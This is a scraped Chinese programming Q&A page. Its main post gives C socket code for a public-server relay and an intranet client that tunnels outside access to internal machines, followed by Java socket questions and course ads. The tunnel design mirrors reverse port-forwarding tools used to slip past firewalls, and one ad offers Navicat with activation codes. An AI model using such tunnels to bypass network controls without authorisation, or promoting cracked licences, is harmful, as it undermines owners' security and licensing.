环境 公网服务器1台,内网服务器若干。其中一台内网可以和公网连接通信,打算在公网上用socket做端口转发来实现访各台问内网的目的。功能已经实现了(一对一连接),但端口复用问题一直很困惑,请各位帮忙检查一下代码,谢谢 公网代码 ``` // 绑定两个服务器socket void bind2bind(int port1, int port2) { char msgbuf[100]; memset(msgbuf, 0, 100); sprintf(msgbuf, "[+] 服务器初始化...\r\n"); outprint(msgbuf, strlen(msgbuf)); int fd0, fd1, fd2; if ((fd0 = create_socket()) == 0) return; if ((fd1 = create_socket()) == 0) return; if ((fd2 = create_socket()) == 0) return; int port0 = 5501; if (create_server(fd0, port0) == 0) { closesocket(fd0); return; } sprintf(msgbuf, "[+] 成功监听通信端口: %d\r\n", port0); outprint(msgbuf, strlen(msgbuf)); // 创建第一个服务器 if (create_server(fd1, port1) == 0) { closesocket(fd1); return; } sprintf(msgbuf, "[+] 成功监听隧道端口: %d\r\n", port1); outprint(msgbuf, strlen(msgbuf)); // 创建第二个服务器 if (create_server(fd2, port2) == 0) { closesocket(fd2); return; } sprintf(msgbuf, "[+] 成功监听上线端口: %d\r\n", port2); outprint(msgbuf, strlen(msgbuf)); // 等待两端上线 while (1) { sprintf(msgbuf, "[%d] 正在建立通信端口: %d\r\n", idx, port0); outprint(msgbuf, strlen(msgbuf)); struct sockaddr_in client0; int size0 = sizeof(struct sockaddr); int sockfd0 = accept(fd0, (struct sockaddr *)&client0, &size0); sprintf(msgbuf, "[%d] 通信端口连接成功 IP地址: %s\r\n", idx, inet_ntoa(client0.sin_addr)); outprint(msgbuf, strlen(msgbuf)); sprintf(msgbuf, "[%d] 发送idx值: %d\r\n", idx, idx); outprint(msgbuf, strlen(msgbuf)); char idxbuf[10]; memset(idxbuf, 0, 10); sprintf(idxbuf, "%d", idx); int send0 = send(sockfd0, idxbuf, strlen(idxbuf)+1, 0); if (send0 <= 0) { closesocket(sockfd0); continue; } closesocket(sockfd0); sprintf(msgbuf, "[%d] 正在建立隧道端口: %d\r\n", idx, port1); outprint(msgbuf, strlen(msgbuf)); struct sockaddr_in client1; int size1 = sizeof(struct sockaddr); int sockfd1 = accept(fd1, (struct sockaddr *)&client1, &size1); sprintf(msgbuf, "[%d] 正在建立上线端口: %d\r\n", idx, port2); outprint(msgbuf, strlen(msgbuf)); struct sockaddr_in client2; int size2 = sizeof(struct sockaddr); int sockfd2 = accept(fd2, (struct sockaddr *)&client2, &size2); sprintf(msgbuf, "[%d] 通过上线端口连接成功 IP地址: %s\r\n", idx, inet_ntoa(client2.sin_addr)); outprint(msgbuf, strlen(msgbuf)); // socket transocket sock; sock.fd1 = sockfd1; sock.fd2 = sockfd2; sock.idx = idx; CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, NULL); idx++; } } ``` ``` 负责通信的内网代码 { int port0 = 5501; char msgbuf[100]; memset(msgbuf, 0, 100); while (1) { int sockfd0; if ((sockfd0 = create_socket()) == 0) return 0; // 通过5501端口连接服务器 sprintf(msgbuf, "[+] 正在连接服务器 %s:%d\r\n", sConnectHost, port0); outprint(msgbuf, strlen(msgbuf)); if (client_connect(sockfd0, sConnectHost, port0) == 0) { closesocket(sockfd0); continue; } sprintf(msgbuf, "[+] 服务器连接成功\r\n"); outprint(msgbuf, strlen(msgbuf)); // 接收服务器idx值 char idxbuf[10]; memset(idxbuf, 0, 10); int read0 = recv(sockfd0, idxbuf, 10, 0); if (read0 > 0) { // 在线程内执行conn2conn int nIdx = atoi(idxbuf); tranconn2conn conn; conn.host1 = sConnectHost; conn.port1 = iConnectPort; conn.host2 = sTransmitHost; conn.port2 = iTransmitPort; conn.idx = nIdx; CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)conn2conn, (LPVOID)&conn, 0, NULL); } } closeallfd(); } // 内网转发数据 void conn2conn(LPVOID data) { tranconn2conn *conn = (tranconn2conn *)data; char msgbuf[100]; memset(msgbuf, 0, 100); while (1) { int sockfd1, sockfd2; if ((sockfd1 = create_socket()) == 0) return; if ((sockfd2 = create_socket()) == 0) return; sprintf(msgbuf, "[%d] 正在连接服务器 %s:%d\r\n", conn->idx, conn->host1, conn->port1); outprint(msgbuf, strlen(msgbuf)); if (client_connect(sockfd1, conn->host1, conn->port1) == 0) { closesocket(sockfd1); closesocket(sockfd2); continue; } sprintf(msgbuf, "[%d] 服务器连接成功\r\n", conn->idx); outprint(msgbuf, strlen(msgbuf)); sprintf(msgbuf, "[%d] 正在连接内网 %s:%d\r\n", conn->idx, conn->host2, conn->port2); outprint(msgbuf, strlen(msgbuf)); if (client_connect(sockfd2, conn->host2, conn->port2) == 0) { closesocket(sockfd1); closesocket(sockfd2); continue; } sprintf(msgbuf, "[%d] 内网连接成功\r\n", conn->idx); outprint(msgbuf, strlen(msgbuf)); // socket transocket sock; sock.fd1 = sockfd1; sock.fd2 = sockfd2; sock.idx = conn->idx; transmitdata(&sock); } } ``` ``` 数据转发代码 // 服务器转发数据 void transmitdata(LPVOID data) { transocket *sock = (transocket *)data; // 准备采用select模型 fd_set readfd, writefd; char read_in1[MAXSIZE], send_out1[MAXSIZE]; char read_in2[MAXSIZE], send_out2[MAXSIZE]; struct sockaddr_in client1, client2; char host1[20], host2[20], msgbuf[100]; memset(host1, 0, 20); memset(host2, 0, 20); memset(msgbuf, 0, 100); int port1 = 0, port2 = 0; int structsize1 = sizeof(struct sockaddr); int structsize2 = sizeof(struct sockaddr); // 获取第一客户端信息 if (getpeername(sock->fd1, (struct sockaddr *)&client1, &structsize1) < 0) { strcpy(host1, "fd1"); } else { strcpy(host1, inet_ntoa(client1.sin_addr)); port1 = ntohs(client1.sin_port); } // 获取第二客户端信息 if (getpeername(sock->fd2, (struct sockaddr *)&client2, &structsize2) < 0) { strcpy(host2, "fd2"); } else { strcpy(host2, inet_ntoa(client2.sin_addr)); port2 = ntohs(client2.sin_port); } sprintf(msgbuf, "[%d] fd1: %d, fd2: %d\r\n", sock->idx, sock->fd1, sock->fd2); outprint(msgbuf, strlen(msgbuf)); // 输出两个客户端信息 sprintf(msgbuf, "[%d] 建立数据转发走向(%s:%d <-> %s:%d)\r\n", sock->idx, host1, port1, host2, port2); outprint(msgbuf, strlen(msgbuf)); // 最大检测数目 int maxfd = max(sock->fd1, sock->fd2) + 1; // 设置检测超时 struct timeval timeset; timeset.tv_sec = TIMEOUT; // 超时秒数 timeset.tv_usec = 0; // 超时微秒 // 位模式清零 memset(send_out1, 0, MAXSIZE); memset(send_out2, 0, MAXSIZE); // 可读长度 int totalread1 = 0, totalread2 = 0; while (1) { // 采用select异步模型 FD_ZERO(&readfd); FD_ZERO(&writefd); // 添加到fd集合 FD_SET(sock->fd1, &readfd); FD_SET(sock->fd1, &writefd); FD_SET(sock->fd2, &readfd); FD_SET(sock->fd2, &writefd); // 第一个参数会被系统忽略掉 int result = select(maxfd, &readfd, &writefd, NULL, ×et); if ((result < 0) && (errno != EINTR)) { // 程序出错 sprintf(msgbuf, "[%d] Error: select函数出错\r\n", sock->idx); outprint(msgbuf, strlen(msgbuf)); break; } else if (result == 0) { // 等待超时 sprintf(msgbuf, "[%d] Error: select函数等待超时\r\n", sock->idx); outprint(msgbuf, strlen(msgbuf)); continue; } // fd1可读, 只要可读, 一次即可读取完整, 无需while循环 if (FD_ISSET(sock->fd1, &readfd) && totalread1 < MAXSIZE) { int read1 = recv(sock->fd1, read_in1, MAXSIZE - totalread1, 0); if (read1 == 0 || (read1 < 0 && errno != EINTR)) { sprintf(msgbuf, "[%d] Error: 读取fd1出错\r\n", sock->idx); outprint(msgbuf, strlen(msgbuf)); break; } // 改变fd1的发送缓冲区和他的大小(接了就要发嘛) memcpy(send_out1 + totalread1, read_in1, read1); sprintf(msgbuf, "[%d] fd1成功在地址: %16s:%d上面读取%d字节\r\n", sock->idx, host1, port1, read1); outprint(msgbuf, strlen(msgbuf)); totalread1 += read1; memset(read_in1, 0, MAXSIZE); } // fd2可写 if (FD_ISSET(sock->fd2, &writefd)) { int err = 0; int sendcount1 = 0; // 发送的话可能一次发不完(数据包过大) while (totalread1 > 0) { int send1 = send(sock->fd2, send_out1+sendcount1, totalread1, 0); if (send1 == 0 || (send1 < 0 && errno != EINTR)) { sprintf(msgbuf, "[%d] Error: 写入fd2出错\r\n", sock->idx); outprint(msgbuf, strlen(msgbuf)); err = 1; break; } if ((send1 < 0) && (errno == ENOSPC)) break; // 改变缓冲区大小 sendcount1 += send1; totalread1 -= send1; sprintf(msgbuf, "[%d] fd2成功在地址: %16s:%d上面发送%d字节\r\n", sock->idx, host2, port2, send1); outprint(msgbuf, strlen(msgbuf)); } // 检验出错 if (err == 1) break; // 如果发送了数据, 并且没有发送干净 if ((totalread1 > 0) && (sendcount1 > 0)) { // 理论上下面两行永远不会执行 memcpy(send_out1, send_out1 + sendcount1, totalread1); memset(send_out1 + totalread1, 0, MAXSIZE - totalread1); } else { memset(send_out1, 0, MAXSIZE); } } // fd2可读, 只要可读, 一次即可读取完整, 无需while循环 if (FD_ISSET(sock->fd2, &readfd) && totalread2 < MAXSIZE) { int read2 = recv(sock->fd2, read_in2, MAXSIZE - totalread2, 0); if (read2 == 0 || (read2 < 0 && errno != EINTR)) { sprintf(msgbuf, "[%d] Error: 读取fd2出错\r\n", sock->idx); outprint(msgbuf, strlen(msgbuf)); break; } // 接了就立即发出去 memcpy(send_out2 + totalread2, read_in2, read2); sprintf(msgbuf, "[%d] fd2成功在地址: %16s:%d上面读取%d字节\r\n", sock->idx, host2, port2, read2); outprint(msgbuf, strlen(msgbuf)); totalread2 += read2; memset(read_in2, 0, MAXSIZE); } // fd1可写 if (FD_ISSET(sock->fd1, &writefd)) { int err2 = 0; int sendcount2 = 0; while (totalread2 > 0) { int send2 = send(sock->fd1, send_out2 + sendcount2, totalread2, 0); if (send2 == 0 || (send2 < 0 && errno != EINTR)) { sprintf(msgbuf, "[%d] Error: 写入fd1出错\r\n", sock->idx); outprint(msgbuf, strlen(msgbuf)); err2 = 1; break; } if ((send2 < 0) && (errno == ENOSPC)) break; sendcount2 += send2; totalread2 -= send2; sprintf(msgbuf, "[%d] fd1成功在地址: %16s:%d上面发送%d字节\r\n", sock->idx, host1, port1, send2); outprint(msgbuf, strlen(msgbuf)); } if (err2 == 1) break; if ((totalread2 > 0) && (sendcount2 > 0)) { memcpy(send_out2, send_out2+sendcount2, totalread2); memset(send_out2 + totalread2, 0, MAXSIZE - totalread2); } else { memset(send_out2, 0, MAXSIZE); } } } // 关闭socket closesocket(sock->fd1); closesocket(sock->fd2); sprintf(msgbuf, "[%d] 成功关闭掉两个socket, fd1, fd2\r\n", sock->idx); outprint(msgbuf, strlen(msgbuf)); sprintf(msgbuf, "[%d] 本次数据转发结束\r\n\n", sock->idx); outprint(msgbuf, strlen(msgbuf)); } ```
在socket中,如何让客户端固定它的端口
我想在socket通信中,让server能判断clinet连上来的是谁。 通常我们写socket通信时,server都这这样写的java: ``` ServerSocket server = new ServerSocket(9090); socket = server.accept(); ``` c++ qt中: ``` tcpserver = new QTcpServer(); tcpserver->listen(QHostAddress::Any,9090); connect(tcpserver,SIGNAL(newConnection()),this,SLOT(connected())); ``` 客户端java和c++都是差不多的。 可是当客户端链接到server时,同一个客户端每次链接所用的端口都是不同的。如何让client链接到server的端口固定下来,不要每次都随机。 我打算用这个实现判断客户端是谁。或者有没有其他更好的办法。
linux socket 端口问题
主机IP: 192.168.1.14 公网:1.2.3.4 路由器映射到外网端口:8888 socket 服务器bind 端口:1234 ,地址只能用 1.2.3.4:8888 外网的客户端 绑定地址 和 端口 分别应该是什么,
java socket 客户端异常中断问题
java socket 问题,服务器端可以接收客户端数据,但是,当客户端断电在连上时,服务器端收不到客户端的数据,除非重启服务器端才可以继续收到数据。我想让:及时客户端异常中断,随后在向服务器端发送数据的时候,服务器端不需要重启也能继续收到数据
JAVA中Socket对象如何重用多次?
试了一下,目前已知的 让socket发送流中的数据 只有一下三种方式 1.shutDown流 2.close流/close socket 3.sendUrgentData 前两种都会socket对象无法再次使用,如果想多次发送数据,只能用第3种。 有更优雅的方式实现socket重用吗?
JAVA Socket获取主机名的问题
socket.getInetAddress().getHostName(); 这个语句为什么得到的是IP地址? 请问怎样获取客户端的主机名? 环境: RHEL 6.4 JAVA 1.6
Java Socket 外网连不上但是内网可以。 ADSL提供网络,没有路由器
各位朋友,问题较长,请耐心看我来详细描述一下: 服务端是一个JavaWEB的网站项目,里面有ServerSocket,用来接受客户端数据。客户端是Android程序,里面启动Socket后会循环发送数据。我在运行的时候用的是家里的电脑和自己的手机,如果都在一个局域网里(手机用WIFI)数据传输没有问题,如果切换到外网后(ADSL出来的网线连接电脑,手机用3G)用我电脑cmd命令ipconfig查到的PPP ip输入到手机浏览器中可以访问JavaWEB的网站,也就是说可以ping通这个ip地址。但是用手机发送socket数据到这个ip时,服务端会在accept()一直阻塞。我也想过可能是端口没有开放,但是如果我把Android端的socket不进行循环发送数据时(只发送一条数据)过20秒左右服务端会报错 java.net.SocketException: Connection reset,报错的地方是服务端接收到客户端数据后进行读取操作的一步(下面代码最后一行会报错) Socket s = new ServerSocket(7777).accept(); InputStream in = s.getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(in)); String response = br.readLine(); 用DEBUG查看会发现报错前s中有客户端的信息,比如客户端的ip地址和发送端口等。这是不是也可以证明服务器的端口已经开放。如果排出了端口和ip地址的问题。那我就彻底费解了。 还请各位好心的有经验的朋友们帮我参考一下,到底如何解决这个问题,谢谢大家 因为现在已经没有路由器所以应该不用端口转发,之前用路由器的时候也试过端口转发,是不行的,后来直接把路由器撤了。
通过JAVA如何查看远程端口是否开启?(不使用SOCKET)
现在做的一个JAVAWEB项目要求加一个端口查看功能,本来用SOCKET测试很顺利, 但是上面不允许用SOCKET做,说是用了SOCKET远程的服务就会连通并往下走了, 然后我自己这面测试也确定有这样的情况,所以SOCKET方法就得PASS掉了,但是除 了SOCKET方面我也想不到别的方法了,用了APACHE的TELNET 但是到了CONNECT 的时候程序就卡住不往下走了…… 求高人指点了!!! 忘说了,是LINUX下…… 而且端口PING不了吧……
java socket 发送二进制流的问题
想通过java socket发送一个二进制流: 0x05 0x03 0x00 0x00 0x00 0x40 0x45 0xbe 说明:这个二进制不代表任何字符串,就是一个命令,服务器端能够识别。 做法是这样的,先申请一块空间赋值,然后发送出去。 char cmd[] = {0x05, 0x03, 0x00, 0x00, 0x00, 0x40, 0x45, 0xbe}; os.print(cmd); os.flush 或者: char cmd[] = {0x05, 0x03, 0x00, 0x00, 0x00, 0x40, 0x45, 0xbe}; String command = new String(cmd); os.print(command); os.flush 用wireshark抓包看的话, 实际发送的数据是: 0x05, 0x03, 0x00, 0x00, 0x00, 0x40, 0x45, 0x3f. 这个是怎么回事儿?有大神知道吗? 我试了下,貌似数据大于0x80的都有这个问题,是不是二进制转化为字符的时候会有特殊处理?如果我真想要发送一个大于0x80的二进制该怎么处理?
java socket 长连接奇怪的问题
我有一个类,负责通过SOCKET长连接与服务器端通讯。 这个循环读取一个队列来发送。 问题来了,在本类的MAIN方法中向队列中添加数据,就可以发送出去,在SERVLET中,通过HTTP请求添加,就是发送不出去!请大家帮忙看看,谢谢。下面是这个主要类的代码。 /** * */ package com.dianshangwang.lianhepayfront.service; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.PrintWriter; import java.io.UnsupportedEncodingException; import java.net.InetSocketAddress; import java.net.Socket; import java.net.SocketException; import java.util.HashMap; import java.util.LinkedList; import java.util.Map; import java.util.Queue; import org.apache.log4j.BasicConfigurator; import org.apache.log4j.Logger; import com.dianshangwang.lianhepayfront.global.Config; import com.google.gson.JsonObject; import com.google.gson.JsonParser; /** * @author lay * @date 2013年11月4日 */ public class IcardpayClient { private static Logger log = Logger.getLogger(IcardpayClient.class); private static Socket socket; private static BufferedReader reader; private static PrintWriter writer; private static Thread sendThread; private static Thread receiveThread; private static Thread monitorThread; private static boolean isRunning = false; /** * 心跳计数器 若此值与当前时间戳值小于60000则认定断线,进行重联操作 */ private static Long heartbeatTimestamp = System.currentTimeMillis(); private static IcardpayClient instance = new IcardpayClient(); private IcardpayClient() { } public static IcardpayClient getInstance() { return instance; } public static void main(String[] args) { BasicConfigurator.configure(); IcardpayClient client = new IcardpayClient(); client.start(); MsgQueue.sendQueue.add("{\"agentNo\":\"A10342hp\",\"tradeType\":\"256\",\"sessionId\":\"1\"}"); } public void start() { init(); sendThread = new Thread(new SendThread());// 启动读线程 receiveThread = new Thread(new ReceiveThread());// 启动收线程 monitorThread = new Thread(new MonitorThread()); // 启动监视线程 sendThread.setName("icardpay-send-thread"); receiveThread.setName("icardpay-receive-thread"); monitorThread.setName("icardpay-monitor-thread"); // sendThread.setDaemon(true); // receiveThread.setDaemon(true); // monitorThread.setDaemon(true); sendThread.start(); log.info("SOCKET发送线程开启!"); receiveThread.start(); log.info("SOCKET接收线程开启!"); // monitorThread.start(); // log.info("SOCKET监视线程开启!"); } public void restart() { stop(); init(); } public void stop() { isRunning = false; } private void init() { socket = new Socket(); try { socket.setKeepAlive(true); socket.connect(new InetSocketAddress(Config.icardpayHost, Config.icardpayPort)); reader = new BufferedReader(new InputStreamReader(socket.getInputStream(), "UTF-8")); writer = new PrintWriter(socket.getOutputStream()); heartbeatTimestamp = System.currentTimeMillis(); log.info("已创建与支付通的SOCKET连接!"); isRunning = true; } catch (SocketException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (UnsupportedEncodingException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } public void write(String msg) { writer.println(msg); writer.flush(); log.info(Thread.currentThread().getName() + "发送:" + msg); } private String read() throws IOException { String msg = reader.readLine(); if (msg != null) { log.info("接收:" + msg); } return msg; } class SendThread implements Runnable { @Override public void run() { while (isRunning) { if (!MsgQueue.sendQueue.isEmpty()) { String v = MsgQueue.sendQueue.poll(); write(v); } try { Thread.sleep(300); } catch (InterruptedException e) { e.printStackTrace(); } } } } class ReceiveThread implements Runnable { @Override public void run() { while (isRunning) { String content = null; try { content = read(); } catch (IOException e1) { log.error("SOCKET读取异常,将重新启动。。。", e1); restart(); continue; } if (null == content || content == "") { continue; } JsonObject obj = new JsonParser().parse(content).getAsJsonObject(); if (obj.has("tradeType") && "0".equals(obj.get("tradeType").getAsString())) { // 收到心跳包, 刷新计数器 heartbeatTimestamp = System.currentTimeMillis(); continue; } if (!obj.has("sessionId")) { log.info("收到未标识的包:" + obj.toString()); continue; } String id = obj.get("sessionId").getAsString(); if (MsgQueue.listeners.containsKey(id)) { MsgQueue.listeners.get(id).received(content); MsgQueue.listeners.remove(id); } else { log.info("接收到过期包:" + content); } try { Thread.sleep(100); } catch (InterruptedException e) { // 忽略 } } } } class MonitorThread implements Runnable { String heartbeat = "{\"agentNo\":\"A10342hp\",\"tradeType\":\"0\"}"; @Override public void run() { while (isRunning) { if (System.currentTimeMillis() - heartbeatTimestamp >= 60000) { // SOCKET已失效 restart(); } // 发送心跳包 write(heartbeat); try { Thread.sleep(5000); } catch (InterruptedException e) { // 忽略 } } } } }
java socket 接收报文重复
我本地是client端做了一个java socket连接。 但是有大部分服务器给我返回的数据是2段重复的数据是什么意思。 例如 正常返回ABCD 但是服务器返回的是ABCDABCD 服务器端开发说是我本地没有是长连接不是短连接,但是我本地每次请求以后都close啊。
java socket连接池的问题
应用场景: 前端使用JSF作为表现层,浏览器客户端发出请求时我必须先通过socket与集群服务器进行通信之后在将服务器的响应信息进行解析再展现给客户端,为了减少系统开销,我打算在socket这一层使用socket连接池的方式实现。 但是目前遇到一个问题,我从池中取出一个socket后不能判断出该socket是否已经被服务器端关闭了连接,如果服务器端已经关闭了连接,我必须创建一个新的socket,然后对上一次发送失败的请求进行重发处理。 但是,在判断socket是否已经被服务器端关闭这一点,是在是做不到啊! JAVA API中的socket.isClosed(),socket.isConnected(),以及socket.sendUrgentData()检测的方式都不起作用,麻烦由这方面经验的大哥给些指点。
请问java socket 如何与 nodejs socket 通信
java socket 如何与 nodejs socket 通信,例如nodejs的socket.on()里面的第一个参数是如何识别的?我用的客户端是java写的,服务器端是nodejs写的,现在java通过socket与服务器端通信,如何用java模拟nodejs的socket.emin()方法?
java socket如何传递对象?
java socket如何传递对象?并跟着对象还传递字符串等信息
MySQL 8.0.19安装教程(windows 64位)
话不多说直接开干 目录 1-先去官网下载点击的MySQL的下载 2-配置初始化的my.ini文件的文件 3-初始化MySQL 4-安装MySQL服务 + 启动MySQL 服务 5-连接MySQL + 修改密码 先去官网下载点击的MySQL的下载 下载完成后解压 解压完是这个样子 配置初始化的my.ini文件的文件 ...
Python+OpenCV计算机视觉
Python+OpenCV计算机视觉系统全面的介绍。
Vue.js 2.0之全家桶系列视频课程
基于新的Vue.js 2.3版本, 目前新全的Vue.js教学视频,让你少走弯路,直达技术前沿! 1. 包含Vue.js全家桶(vue.js、vue-router、axios、vuex、vue-cli、webpack、ElementUI等) 2. 采用笔记+代码案例的形式讲解,通俗易懂
navicat(内含激活码)
navicat支持mysql的可视化操作,内涵激活码,不用再忍受弹框的痛苦。
HTML期末大作业
这是我自己做的HTML期末大作业,花了很多时间,稍加修改就可以作为自己的作业了,而且也可以作为学习参考
150讲轻松搞定Python网络爬虫
【为什么学爬虫?】 1、爬虫入手容易,但是深入较难,如何写出高效率的爬虫,如何写出灵活性高可扩展的爬虫都是一项技术活。另外在爬虫过程中,经常容易遇到被反爬虫,比如字体反爬、IP识别、验证码等,如何层层攻克难点拿到想要的数据,这门课程,你都能学到! 2、如果是作为一个其他行业的开发者,比如app开发,web开发,学习爬虫能让你加强对技术的认知,能够开发出更加安全的软件和网站 【课程设计】 一个完整的爬虫程序,无论大小,总体来说可以分成三个步骤,分别是: 网络请求:模拟浏览器的行为从网上抓取数据。 数据解析:将请求下来的数据进行过滤,提取我们想要的数据。 数据存储:将提取到的数据存储到硬盘或者内存中。比如用mysql数据库或者redis等。 那么本课程也是按照这几个步骤循序渐进的进行讲解,带领学生完整的掌握每个步骤的技术。另外,因为爬虫的多样性,在爬取的过程中可能会发生被反爬、效率低下等。因此我们又增加了两个章节用来提高爬虫程序的灵活性,分别是: 爬虫进阶:包括IP代理,多线程爬虫,图形验证码识别、JS加密解密、动态网页爬虫、字体反爬识别等。 Scrapy和分布式爬虫:Scrapy框架、Scrapy-redis组件、分布式爬虫等。 通过爬虫进阶的知识点我们能应付大量的反爬网站,而Scrapy框架作为一个专业的爬虫框架,使用他可以快速提高我们编写爬虫程序的效率和速度。另外如果一台机器不能满足你的需求,我们可以用分布式爬虫让多台机器帮助你快速爬取数据。 从基础爬虫到商业化应用爬虫,本套课程满足您的所有需求! 【课程服务】 专属付费社群+每周三讨论会+1v1答疑
三个项目玩转深度学习(附1G源码)
从事大数据与人工智能开发与实践约十年,钱老师亲自见证了大数据行业的发展与人工智能的从冷到热。事实证明,计算机技术的发展,算力突破,海量数据,机器人技术等,开启了第四次工业革命的序章。深度学习图像分类一直是人工智能的经典任务,是智慧零售、安防、无人驾驶等机器视觉应用领域的核心技术之一,掌握图像分类技术是机器视觉学习的重中之重。针对现有线上学习的特点与实际需求,我们开发了人工智能案例实战系列课程。打造:以项目案例实践为驱动的课程学习方式,覆盖了智能零售,智慧交通等常见领域,通过基础学习、项目案例实践、社群答疑,三维立体的方式,打造最好的学习效果。
基于STM32的电子时钟设计
时钟功能 还有闹钟功能,温湿度功能,整点报时功能 你值得拥有
学生成绩管理系统(PHP + MYSQL)
做的是数据库课程设计,使用的php + MySQL,本来是黄金搭配也就没啥说的,推荐使用wamp服务器,里面有详细的使用说明,带有界面的啊!呵呵 不行的话,可以给我留言!
面试了一个 31 岁程序员,让我有所触动,30岁以上的程序员该何去何从?
最近面试了一个31岁8年经验的程序猿,让我有点感慨,大龄程序猿该何去何从。
程序员的兼职技能课
获取讲师答疑方式: 在付费视频第一节(触摸命令_ALL)片头有二维码及加群流程介绍 限时福利 原价99元,今日仅需39元!购课添加小助手(微信号:itxy41)按提示还可领取价值800元的编程大礼包! 讲师介绍: 苏奕嘉 前阿里UC项目工程师 脚本开发平台官方认证满级(六级)开发者。 我将如何教会你通过【定制脚本】赚到你人生的第一桶金? 零基础程序定制脚本开发课程,是完全针对零脚本开发经验的小白而设计,课程内容共分为3大阶段: ①前期将带你掌握Q开发语言和界面交互开发能力; ②中期通过实战来制作有具体需求的定制脚本; ③后期将解锁脚本的更高阶玩法,打通任督二脉; ④应用定制脚本合法赚取额外收入的完整经验分享,带你通过程序定制脚本开发这项副业,赚取到你的第一桶金!
实用主义学Python(小白也容易上手的Python实用案例)
原价169,限时立减100元! 系统掌握Python核心语法16点,轻松应对工作中80%以上的Python使用场景! 69元=72讲+源码+社群答疑+讲师社群分享会 【哪些人适合学习这门课程?】 1)大学生,平时只学习了Python理论,并未接触Python实战问题; 2)对Python实用技能掌握薄弱的人,自动化、爬虫、数据分析能让你快速提高工作效率; 3)想学习新技术,如:人工智能、机器学习、深度学习等,这门课程是你的必修课程; 4)想修炼更好的编程内功,优秀的工程师肯定不能只会一门语言,Python语言功能强大、使用高效、简单易学。 【超实用技能】 从零开始 自动生成工作周报 职场升级 豆瓣电影数据爬取 实用案例 奥运冠军数据分析 自动化办公:通过Python自动化分析Excel数据并自动操作Word文档,最终获得一份基于Excel表格的数据分析报告。 豆瓣电影爬虫:通过Python自动爬取豆瓣电影信息并将电影图片保存到本地。 奥运会数据分析实战 简介:通过Python分析120年间奥运会的数据,从不同角度入手分析,从而得出一些有趣的结论。 【超人气老师】 二两 中国人工智能协会高级会员 生成对抗神经网络研究者 《深入浅出生成对抗网络:原理剖析与TensorFlow实现》一书作者 阿里云大学云学院导师 前大型游戏公司后端工程师 【超丰富实用案例】 0)图片背景去除案例 1)自动生成工作周报案例 2)豆瓣电影数据爬取案例 3)奥运会数据分析案例 4)自动处理邮件案例 5)github信息爬取/更新提醒案例 6)B站百大UP信息爬取与分析案例 7)构建自己的论文网站案例
Java8零基础入门视频教程
这门课程基于主流的java8平台,由浅入深的详细讲解了java SE的开发技术,可以使java方向的入门学员,快速扎实的掌握java开发技术!
Python数据挖掘简易入门
本课程为Python数据挖掘方向的入门课程,课程主要以真实数据为基础,详细介绍数据挖掘入门的流程和使用Python实现pandas与numpy在数据挖掘方向的运用,并深入学习如何运用scikit-learn调用常用的数据挖掘算法解决数据挖掘问题,为进一步深入学习数据挖掘打下扎实的基础。
零基础学C#编程—C#从小白到大咖
本课程从初学者角度出发,提供了C#从入门到成为程序开发高手所需要掌握的各方面知识和技术。 【课程特点】 1 由浅入深,编排合理; 2 视频讲解,精彩详尽; 3 丰富实例,轻松易学; 4 每章总结配有难点解析文档。 15大章节,228课时,1756分钟与你一同进步!
MySQL数据库面试题(2020最新版)
文章目录数据库基础知识为什么要使用数据库什么是SQL?什么是MySQL?数据库三大范式是什么mysql有关权限的表都有哪几个MySQL的binlog有有几种录入格式?分别有什么区别?数据类型mysql有哪些数据类型引擎MySQL存储引擎MyISAM与InnoDB区别MyISAM索引与InnoDB索引的区别?InnoDB引擎的4大特性存储引擎选择索引什么是索引?索引有哪些优缺点?索引使用场景(重点)...
多功能数字钟.zip
利用数字电子计数知识设计并制作的数字电子钟(含multisim仿真),该数字钟具有显示星期、24小时制时间、闹铃、整点报时、时间校准功能
极简JAVA学习营第四期(报名以后加助教微信:eduxy-1)
想学好JAVA必须要报两万的培训班吗? Java大神勿入 如果你: 零基础想学JAVA却不知道从何入手 看了一堆书和视频却还是连JAVA的环境都搭建不起来 囊中羞涩面对两万起的JAVA培训班不忍直视 在职没有每天大块的时间专门学习JAVA 那么恭喜你找到组织了,在这里有: 1. 一群志同道合立志学好JAVA的同学一起学习讨论JAVA 2. 灵活机动的学习时间完成特定学习任务+每日编程实战练习 3. 热心助人的助教和讲师及时帮你解决问题,不按时完成作业小心助教老师的家访哦 上一张图看看前辈的感悟: 大家一定迫不及待想知道什么是极简JAVA学习营了吧,下面就来给大家说道说道: 什么是极简JAVA学习营? 1. 针对Java小白或者初级Java学习者; 2. 利用9天时间,每天1个小时时间; 3.通过 每日作业 / 组队PK / 助教答疑 / 实战编程 / 项目答辩 / 社群讨论 / 趣味知识抢答等方式让学员爱上学习编程 , 最终实现能独立开发一个基于控制台的‘库存管理系统’ 的学习模式 极简JAVA学习营是怎么学习的? 如何报名? 只要购买了极简JAVA一:JAVA入门就算报名成功! 本期为第四期极简JAVA学习营,我们来看看往期学员的学习状态: 作业看这里~ 助教的作业报告是不是很专业 不交作业打屁屁 助教答疑是不是很用心 有奖抢答大家玩的很嗨啊 项目答辩终于开始啦 优秀者的获奖感言 这是答辩项目的效果 这么细致的服务,这么好的氛围,这样的学习效果,需要多少钱呢? 不要1999,不要199,不要99,只要9.9 是的你没听错,只要9.9以上所有就都属于你了 如果你: 1、 想学JAVA没有基础 2、 想学JAVA没有整块的时间 3、 想学JAVA没有足够的预算 还等什么?赶紧报名吧,抓紧抢位,本期只招300人,错过只有等时间待定的下一期了 报名请加小助手微信:eduxy-1
Python可以这样学(第一季:Python内功修炼)
董付国系列教材《Python程序设计基础》、《Python程序设计(第2版)》、《Python可以这样学》配套视频,讲解Python 3.5.x和3.6.x语法、内置对象用法、选择与循环以及函数设计与使用、lambda表达式用法、字符串与正则表达式应用、面向对象编程、文本文件与二进制文件操作、目录操作与系统运维、异常处理结构。
Java基础知识面试题(2020最新版)
